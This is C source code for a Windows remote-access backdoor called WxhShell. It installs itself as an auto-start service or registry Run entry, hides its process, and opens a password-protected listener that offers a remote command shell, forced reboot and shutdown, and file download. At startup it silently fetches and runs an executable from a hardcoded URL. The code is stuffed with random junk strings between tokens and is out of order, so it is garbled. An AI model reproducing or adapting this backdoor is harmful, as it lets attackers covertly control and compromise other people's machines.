8aaD>OR$ /wShUR{ PROCNTQSIP NtQueryInformationProcess; ~T7B$$ WUc#)EEM) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {~GYj%-^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rgy-OA AFvgbn8Qh HANDLE hProcess; ,QIF & PROCESS_BASIC_INFORMATION pbi; [jdFA<Is INs!Ame2 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o Pci66 if(NULL == hInst ) return 0; QS.>0i/7l R:-JkV>e: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); asiov[o; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6d[_G$'nk NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gU^$Sx7' -Y#sI3o*R8 if (!NtQueryInformationProcess) return 0; @!N-RQ&A _ZB\L^j) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gl %3XdU if(!hProcess) return 0; %_-zWVJ 9h90huyKF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #m{{a]zm^ 8M*PML4r CloseHandle(hProcess); WF&[HKOy/ ^efb
5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O%~jop7#6 if(hProcess==NULL) return 0; `vG,}Pt] v44}%$ HMODULE hMod; r[(xjn char procName[255]; Lf([dE1 unsigned long cbNeeded; G0 J4O!3 ]r!>{ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i@5[FC HW4.zw CloseHandle(hProcess); >Iewx
Gb> ,Y?sfp if(strstr(procName,"services")) return 1; // 以服务启动 =\#%j|9N9 {gA\ph%s return 0; // 注册表启动 LTV{{Z+ } ZoB*0H- @$"J|s3M // 主模块 W%2
80\h int StartWxhshell(LPSTR lpCmdLine) V=He_9B { XY.5Rno4 SOCKET wsl; @RFs/' BOOL val=TRUE; \I-#1M int port=0; TC~Q
G$NW struct sockaddr_in door; ne61}F"E 87)zCq if(wscfg.ws_autoins) Install(); /){KOCBl; )Au6Nf
port=atoi(lpCmdLine); "vCM}F s5.AW8X=?* if(port<=0) port=wscfg.ws_port; (iJ1
;x 5J)=} e WSADATA data; (BxJryXm if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "LYh7:0s!k R3)57OyV if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [XRCLi} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \l"&A door.sin_family = AF_INET; %<?0apO door.sin_addr.s_addr = inet_addr("127.0.0.1"); E5el?=,i door.sin_port = htons(port); bPD`+:A_ - K%,^6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k%wn0Erd closesocket(wsl); Xtz-\v#0o' return 1; P1b'% } pL1Q7&&c0 6iEhsL&K if(listen(wsl,2) == INVALID_SOCKET) { hmx=
35 closesocket(wsl); n,eJ$2!J return 1; YSJy` } F/m^?{==~* Wxhshell(wsl); Rj F'x WSACleanup(); QIN."&qC^ ri`R<l8 return 0; $@d9<83= d_n7k g+ } ;N B:e <2!v(EkI // 以NT服务方式启动 svelYe#9z VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g~7Ri-" { %p^.\ch9 DWORD status = 0; >e2<!#er| DWORD specificError = 0xfffffff; xvzr:pP -yGDh+- serviceStatus.dwServiceType = SERVICE_WIN32; ,*4p?|A serviceStatus.dwCurrentState = SERVICE_START_PENDING; ZT02"3F serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1:NrP'W^ serviceStatus.dwWin32ExitCode = 0; 7&`}~$>}>e serviceStatus.dwServiceSpecificExitCode = 0; +,:du*C serviceStatus.dwCheckPoint = 0; c`lJu_ serviceStatus.dwWaitHint = 0; 48|s$K ^ O\K_q7iO6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;!o]wHmA if (hServiceStatusHandle==0) return; *5zrZ]^ e*(b status = GetLastError(); \;VhYvEH if (status!=NO_ERROR) ve
~05mg { M3p serviceStatus.dwCurrentState = SERVICE_STOPPED; hS[yNwD serviceStatus.dwCheckPoint = 0; t1VH doNN serviceStatus.dwWaitHint = 0; f:g,_|JD$ serviceStatus.dwWin32ExitCode = status; hjO*~ serviceStatus.dwServiceSpecificExitCode = specificError; WwC 5!kZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2([2Pb3<" return; &U+ _ -Ph } \BWykA> j1SMeDDM
~ serviceStatus.dwCurrentState = SERVICE_RUNNING; k5kdCC0FCk serviceStatus.dwCheckPoint = 0; -(`OcGM'L serviceStatus.dwWaitHint = 0; L=2y57&Y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QDpEb=|S } iv phlw n~g)I& // 处理NT服务事件,比如:启动、停止 ]zO/A4 VOID WINAPI NTServiceHandler(DWORD fdwControl) :16P.z1L { T!wo2EzE switch(fdwControl) Te2zK7:
{ <
RCLI| case SERVICE_CONTROL_STOP: Rwr 2gMt7 serviceStatus.dwWin32ExitCode = 0; )s1Ib4C serviceStatus.dwCurrentState = SERVICE_STOPPED; K:'q>D@ serviceStatus.dwCheckPoint = 0; }M1sksk5 serviceStatus.dwWaitHint = 0; ZEYgK)^ { |F.)zC5{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7?B.0>$3>V } o!:8nXw return; p8s:g~ W case SERVICE_CONTROL_PAUSE: `@i5i(( serviceStatus.dwCurrentState = SERVICE_PAUSED; Z%GTnG|rG break; -XRn~=5 case SERVICE_CONTROL_CONTINUE: 3nY1[, serviceStatus.dwCurrentState = SERVICE_RUNNING; }HE6aF62O break; sC[yI Up case SERVICE_CONTROL_INTERROGATE: JFgoN,xn break; Bl9jkq
] }; tBTTCwNT% SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2_Wg!bq } 64-#}3zL xEuN
// 标准应用程序主函数 T#pk]c6Q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `%3/ { DK0.R]&4( 7bxA]s{m // 获取操作系统版本 \A`hj~ OsIsNt=GetOsVer(); JT
fd#g?I GetModuleFileName(NULL,ExeFile,MAX_PATH); <p;k)S2J mDh1>>K'~ // 从命令行安装 rF\"w0J_ if(strpbrk(lpCmdLine,"iI")) Install(); _C\[DR0n =)O,`.M.Y // 下载执行文件 47r_y\U h if(wscfg.ws_downexe) { x{NX8lN if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z} '! eCl WinExec(wscfg.ws_filenam,SW_HIDE); *m%]zj0bo } $+}+zZX5 FgL,k if(!OsIsNt) { +n}$pM|NKU // 如果时win9x,隐藏进程并且设置为注册表启动 PSawMPw HideProc(); tNVV)C StartWxhshell(lpCmdLine); %gnM(pxl } gX{loG else TpA\9N#$ if(StartFromService()) fQLt=Lrp // 以服务方式启动 ,@m@S^ StartServiceCtrlDispatcher(DispatchTable); A`{y9@h( else s:00yQ // 普通方式启动 kt4d;4n StartWxhshell(lpCmdLine); fF*`'i=! =h(W4scgqX return 0; h;5LgAY|v } iJnU% r%DFve:% 50dGBF P;PQeXKw =========================================== iR$<$P5 K^r)CCO E,n}HiAz7V ]d[ge6 KRJLxNr [OOS`N4< " \:>
Wpqw *&AfR8x_z #include <stdio.h> {{C`mgC #include <string.h> ::n;VY2& #include <windows.h> P,ua<B}L #include <winsock2.h> +h2eqNr #include <winsvc.h> -/]W+[ #include <urlmon.h> t>B^q3\q? +!f=jg06 #pragma comment (lib, "Ws2_32.lib") ( 6(x'ByT #pragma comment (lib, "urlmon.lib") B=
keBO](@ %LXM+<N8 #define MAX_USER 100 // 最大客户端连接数
"o& E2# #define BUF_SOCK 200 // sock buffer (wc03,K^ #define KEY_BUFF 255 // 输入 buffer +l^LlqA {b]aC #define REBOOT 0 // 重启 */ G<!W #define SHUTDOWN 1 // 关机 |}){}or 6io , uh! #define DEF_PORT 5000 // 监听端口 s<x1>Q7X~ nS()u}c;r #define REG_LEN 16 // 注册表键长度 U $Qv>7 #define SVC_LEN 80 // NT服务名长度 Hn,:`mj4-6 ,fEO>
i // 从dll定义API wOB azWa typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LtT\z<bAI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C1T_9}L-A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c62=* ] , typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HaA1z}?n )hwV`2>l // wxhshell配置信息 7j5f ;O^+ struct WSCFG { s=?aox7 int ws_port; // 监听端口 !?
^h;)a char ws_passstr[REG_LEN]; // 口令 P?BGBbC int ws_autoins; // 安装标记, 1=yes 0=no {f9{8-W<u char ws_regname[REG_LEN]; // 注册表键名 0oy-os char ws_svcname[REG_LEN]; // 服务名 jClj_E char ws_svcdisp[SVC_LEN]; // 服务显示名
7\o!HMfK char ws_svcdesc[SVC_LEN]; // 服务描述信息 H1!iP$1#V char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SM[Bv9|0 int ws_downexe; // 下载执行标记, 1=yes 0=no HxK$ 4I` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2?@j~I=s2h char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &Bx
J -Xz?s }; OT
%nr zP 1Xy]D // default Wxhshell configuration _DRrznaw struct WSCFG wscfg={DEF_PORT, W;?(,xx "xuhuanlingzhe", :5GZ \Z8F 1, '2hbJk "Wxhshell", >Ps7I "Wxhshell", t+CWeCp, "WxhShell Service", T5wjU*=IL "Wrsky Windows CmdShell Service", EoX_KG{ "Please Input Your Password: ", dQy>Nmfy 1, wx=0'T-[ "http://www.wrsky.com/wxhshell.exe", =1dI>M>tm "Wxhshell.exe" ^s\3/z>b4! }; qdCWy 9Qj2W // 消息定义模块 {#IPf0O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CeT~p6= char *msg_ws_prompt="\n\r? for help\n\r#>"; mq /zTm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fpM#XFj char *msg_ws_ext="\n\rExit."; o/[ char *msg_ws_end="\n\rQuit."; o6"*4P| char *msg_ws_boot="\n\rReboot..."; *cWmS\h| char *msg_ws_poff="\n\rShutdown..."; `Lyq[zg8 char *msg_ws_down="\n\rSave to "; KsAH]2Q% PXP`ZLF char *msg_ws_err="\n\rErr!"; %Qn(rA@9 char *msg_ws_ok="\n\rOK!"; Gt9wR X7UBopm& char ExeFile[MAX_PATH]; us?&:L|!= int nUser = 0; UVf\2\ Y HANDLE handles[MAX_USER]; Bz8 &R|~>" int OsIsNt; %R_{1GrL'c >=ot8%.!,B SERVICE_STATUS serviceStatus; Ft%hh|$5y SERVICE_STATUS_HANDLE hServiceStatusHandle; 5,+\`!g )"@t6. // 函数声明 3bC
yTZk int Install(void); jRkC/Lw int Uninstall(void); .R44$F int DownloadFile(char *sURL, SOCKET wsh); !J>A,D"- int Boot(int flag); #?}6t~ void HideProc(void); <v]9lw' int GetOsVer(void); }4jC_ZAupt int Wxhshell(SOCKET wsl);
TmEYW< void TalkWithClient(void *cs); T!q_/[i~7 int CmdShell(SOCKET sock); ~HLRfL? int StartFromService(void); ph30'"[Z} int StartWxhshell(LPSTR lpCmdLine); _[Gb)/@mM V:K;] h*! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L0Vgo<A VOID WINAPI NTServiceHandler( DWORD fdwControl ); :jNYP{Br fhpX/WE6 // 数据结构和表定义 irxz l3 SERVICE_TABLE_ENTRY DispatchTable[] = 4~?2wvz G4 { 0TE@xqW {wscfg.ws_svcname, NTServiceMain}, pV`$7^#X {NULL, NULL} kM*T$JqN }; * UcjQ go|>o5!g // 自我安装 cFfTYP9 int Install(void) UKB_Yy^Y { P15:,9D char svExeFile[MAX_PATH]; y]qsyR18i HKEY key; p,#6
@* strcpy(svExeFile,ExeFile); MZm'npRf k0K A ~ // 如果是win9x系统,修改注册表设为自启动 744=3v if(!OsIsNt) { =:$) Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z4Oo@3$\R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IlZu~B9c RegCloseKey(key); IvU{Xm"qB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N)OCSeh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f'/ KMe%< RegCloseKey(key); 2ChWe}f return 0; /5a;_ } tjzA)/T,4 } }OKL
z.5 } XCPb9<L else { '"O&J}s; T&}Ye\% // 如果是NT以上系统,安装为系统服务 V:^H4WvL\W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9`X&,S~e if (schSCManager!=0) N=fz/CD)I { -q2MrJ* SC_HANDLE schService = CreateService 8]*Q79 ( =y;@?=T schSCManager, 19y
0$e_V wscfg.ws_svcname, OXtBJYe wscfg.ws_svcdisp, B3b,F # SERVICE_ALL_ACCESS, `ut)+T V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jb@\i@- SERVICE_AUTO_START, {g=b]yg\o SERVICE_ERROR_NORMAL, ,?=KgG1i svExeFile, E`E'<"{Yd NULL, : ^(nj7D NULL, cIZc:
NULL, FLbZ9pX} NULL, Baq ~}B< NULL [}k| ); &l^n4 if (schService!=0) BR3mAF { /RF%1!M
K CloseServiceHandle(schService); 1M+Zkak7p CloseServiceHandle(schSCManager); NhlJ3/J j strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5ZsDgOeY strcat(svExeFile,wscfg.ws_svcname); Sr7@ buF if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m!!;/e?yx RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZQLB`n@ RegCloseKey(key); {5x>y:v return 0; Y@:3 B:m# } m.146 } m^0A?jBrR CloseServiceHandle(schSCManager); Qv !rUiXq } pGk"3.ce } eiB(VOJ Q<'@V@H return 1; 03"#J2b } \(9p&"Q- 3;D?|E]1 // 自我卸载 a(Sv,@/ int Uninstall(void) }9}w8R~E { N[ Q#R~Hn< HKEY key; .HOY q BD4"pcr if(!OsIsNt) { /$*; >4=>f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p2a?9R RegDeleteValue(key,wscfg.ws_regname); a@k.$ RegCloseKey(key); 2VMX:&3 5J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lxOqs:b RegDeleteValue(key,wscfg.ws_regname); ?1DUNZ6 RegCloseKey(key); Ltg-w\?] return 0; +9~ZA3DiP } |0DP}
`~ } Bfn]-]>sD } CRd_} else { -&7=uRQk e@+v9Bs]q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ei~]iZ} if (schSCManager!=0) yUj;4vd { o3= .T+B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '}fel5YV if (schService!=0) 5Q;dnC { [wIKK/O if(DeleteService(schService)!=0) { -g$OOJB6 CloseServiceHandle(schService); _X?y,# CloseServiceHandle(schSCManager); z=%IcSx; return 0; &08Tns" } `x< 0A CloseServiceHandle(schService); (V^QQ !: } [BE:+ ID3 CloseServiceHandle(schSCManager); )_F(H)* } h+
TB] } K9}jR@jy$ 6i^0T return 1; ~Cu lFxu } (A|B@a!Y> o:f|zf>
i< // 从指定url下载文件 jiOf')d5 int DownloadFile(char *sURL, SOCKET wsh) y,1S&k { 6|i`@|# HRESULT hr; d)9PEtI char seps[]= "/"; v(k*A: char *token; r5Wkc$ char *file; YBeZN98Nt char myURL[MAX_PATH]; ju r1!rg% char myFILE[MAX_PATH]; V 3%Krn1' kU>#1He strcpy(myURL,sURL); k\%,xf; x token=strtok(myURL,seps); &7lk2Q\ while(token!=NULL) {MA@A5 { =cknE= file=token; m_~y token=strtok(NULL,seps); 9PWm@
Nlf } u`nt\OF '|J) ds GetCurrentDirectory(MAX_PATH,myFILE); ,%.:g65% strcat(myFILE, "\\"); d7\k gh strcat(myFILE, file); ;q'DGzh send(wsh,myFILE,strlen(myFILE),0); y K=S!7p\ send(wsh,"...",3,0); |\rSa^:5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +i2YX7Of if(hr==S_OK) rR3m'[ return 0; EF0Pt else TIKEg10I return 1; fWqv3nY^ ,WzG.3^m } 7BVXBw aKaR // 系统电源模块 1+VY><=n int Boot(int flag) P~n8EO1r { CuF%[9[cT HANDLE hToken; ,,zd.9n TOKEN_PRIVILEGES tkp; (cu' WFQ*s4 R( if(OsIsNt) { xNocGtS OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b*@&c9I;q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0@JilGk1u tkp.PrivilegeCount = 1; q+r `e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dw'<" +zO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6sO if(flag==REBOOT) { @Pd)
%'s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BYkVg2D( return 0; m
j'"Z75 } ^mS.HT=X else { z+y;y&P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0EcC return 0; t$ACQ*O
} aslU`#" } myEGibhK else { [u,hc/PL if(flag==REBOOT) { ~% D^Ga7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jdV .{8@ return 0; CM+F7#T?n } nNd`]F^U else { j;$6F/g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]J8KCjq@ return 0; G5y]^P } 82G lbd) } >DPds~k V:nMo2'hb return 1; H={O13 } n1fEdaa7g x*5 Ch~<k // win9x进程隐藏模块 D!l [3 void HideProc(void) wrZ7Sr!/V { e|2vb
GQ yEMX ` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !D.= 'V if ( hKernel != NULL ) i}v}K'` { $.suu^>^w pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )nf=eU4| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [
t>}SE FreeLibrary(hKernel); aYv'H } UE}8Rkt Jdk3)
\ return; bIvJs9L } ]Ct`4pA =
]dz1~/ // 获取操作系统版本 Q#yu( int GetOsVer(void) }1X11+/W { Wto@u4 OSVERSIONINFO winfo; `'A(`. CL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CF4Oh-f
GetVersionEx(&winfo); i?1js ! 8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qK9L+i return 1; J};u25:} else A{DIp+ return 0; WI*^+E&=* } c%xED%X9 F]URf&U // 客户端句柄模块 t z
+ int Wxhshell(SOCKET wsl) J_y<0zF** { (`q6G d SOCKET wsh; uMiD*6,$< struct sockaddr_in client; $ uz1 DWORD myID; +l[Z2mW zR3lX}g while(nUser<MAX_USER) PMz{8
F { []6ShcqJ[v int nSize=sizeof(client); r?Zy-yQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C{d8~6 if(wsh==INVALID_SOCKET) return 1; `g4Ekp'Rp[ pQ[o3p!&9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !_^{udB} if(handles[nUser]==0) v;N1' closesocket(wsh); @&i#S}%/ else +7U
A%q nUser++; M[`w{A } ( 7rz: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `[C v- Q*mMF@-: return 0; A|`Joxr } IDiUn!6Q 4acP*LkkQ // 关闭 socket 9 "
}^SI8 void CloseIt(SOCKET wsh) Z,N7nMJf { <manv8*6 closesocket(wsh); 8a":[Q[ nUser--; f2R+5`$ ExitThread(0); -Z/6;2Q } c|R3,<Q] `/gEKrhL- // 客户端请求句柄 u$Pf.# void TalkWithClient(void *cs) f<s'prF { iaaH9X
% UL@5*uiX SOCKET wsh=(SOCKET)cs; L_.xr
? char pwd[SVC_LEN]; Vx\#+)4 char cmd[KEY_BUFF]; :)
Fp
B" char chr[1]; YQB]t=Ha int i,j; QJ(e*/ YfrTvKX while (nUser < MAX_USER) { 1=/MT#d^?
xRTg
[ if(wscfg.ws_passstr) { vBCZ/F[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [#
tT o;q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pT_e;,KW
U //ZeroMemory(pwd,KEY_BUFF); :(S/$^ U i=0; ]X"i~$T1 S while(i<SVC_LEN) { L[QI 5N "PDSqYA // 设置超时 +n8I(l= fd_set FdRead; 9rf|r
3 struct timeval TimeOut; WW8L~4Zy FD_ZERO(&FdRead); ]'
"^M FD_SET(wsh,&FdRead); 8^ ~ZNU-~v TimeOut.tv_sec=8; kw-Kx4 ) TimeOut.tv_usec=0; ]~ g|SqPA@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F|n$0vQ* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9bzYADLI YiI:uG!|D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v&CO#vK5. pwd=chr[0]; b3 %& if(chr[0]==0xd || chr[0]==0xa) { ,mE]?XyO pwd=0; G(Idiw#WT break; pRk'GR]` } _uy5?auQ i++; ''\cBM!
} 1
Q0Yer .>gU
9A(Nk // 如果是非法用户,关闭 socket hF=V
?\ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (J,Oh } h.s<0. 9B6_eFb send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^&G O4u send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x"C93ft[ BB73'W8y while(1) { te)g',#lT ~i_R%z:y ZeroMemory(cmd,KEY_BUFF); ^) b7m WE Svkm; // 自动支持客户端 telnet标准 ]K0,nj*\c j=0; -)->Jx:{ while(j<KEY_BUFF) { pS|JDMo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m(7_ZiL= cmd[j]=chr[0]; V@+<,tjq if(chr[0]==0xa || chr[0]==0xd) { dv4r\ R^ cmd[j]=0; (m =u;L"o break; $Bwvw)(% } ;KjMZ(Iil1 j++; pQgOT0f } )V+Dqh,-g UXdC<(vK // 下载文件 *!7SM7 if(strstr(cmd,"http://")) { @l6dJ send(wsh,msg_ws_down,strlen(msg_ws_down),0); C7*Yg$`{ if(DownloadFile(cmd,wsh)) B=RKi\K6a send(wsh,msg_ws_err,strlen(msg_ws_err),0); J<P/w%i2 else @1qUC"Mg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t"74HZO> } xzf)_ < else { &MGgO\|6 Z`1o#yZ switch(cmd[0]) { D<L{Z[ h|/*yTuN.y // 帮助 VT~
^:-] case '?': { cB])A57< send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K
v># break; ()IgSj?, } $MVeMgPa // 安装 ,vY
I
O case 'i': { u #QSa$P if(Install()) [?r\b send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Kz`
O>"6 else 6`$z*C2{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FVLA^$5c break; x?k |i}Q } bA9dbe // 卸载 w!Lb;4x ? case 'r': { nOoh2jUM if(Uninstall()) E=U^T/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); AxqTPx7`| else MS^hsUj} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F9G$$%Q-Z break; [~r$US } w\Eve: // 显示 wxhshell 所在路径 Erymx$@P case 'p': { i~PZvxt char svExeFile[MAX_PATH]; g8@i_ strcpy(svExeFile,"\n\r"); BOcEL%+ strcat(svExeFile,ExeFile); )UU6\2^ send(wsh,svExeFile,strlen(svExeFile),0); &(U=O?r7 break; Ita!07 } M(f*hOG{Y // 重启 / z>8XM& case 'b': { tp3N5I send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |`9zE] if(Boot(REBOOT)) a{YVz\?d} send(wsh,msg_ws_err,strlen(msg_ws_err),0); R$'nWzX# else { z&G3&?Z closesocket(wsh); v?' k)B ExitThread(0); |8?{JKsg } ,T>2zSk break; j:<T<8.o } K1:)J.ca_ // 关机 Yy:sZJ case 'd': { =|zyi| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); us *l+Jw,m if(Boot(SHUTDOWN)) K?<Odw'k send(wsh,msg_ws_err,strlen(msg_ws_err),0); ov.rHVeI else { L7'X7WYf& closesocket(wsh); .3SjkC4I ExitThread(0); )W7H{# } ;7{wa]
break; hzVr3;3Zn
} pv.),Iv-68 // 获取shell X~VZ61vNu case 's': { >R !I CmdShell(wsh); :<G+)hIK closesocket(wsh); TgG)btQ ExitThread(0); ^O9m11 break; ep1Ajz.l } g(/O)G. // 退出 Z19y5?uR case 'x': {
8y
)i," send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tfs9<k>G# CloseIt(wsh); j[
YTg] break; 9_^V1+
} 78A4n C // 离开 $w}aX0dK& case 'q': { ApB'O;5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); m`6`a|Twp$ closesocket(wsh); 5w%9b WSACleanup(); e/l?|+m 6 exit(1); fA,!d J break; _C\
d^a( } o[*ih\d } eh=bClk } nr%^:u ,$*klod // 提示信息 h v+i{Z9!] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 438>)= } _e^V\O> } C'"6@-~ 5{=MUU=
return; gU$3Y#R } Yhdt8[ 2 :njUaMFoMA // shell模块句柄 %[;KO&Ga |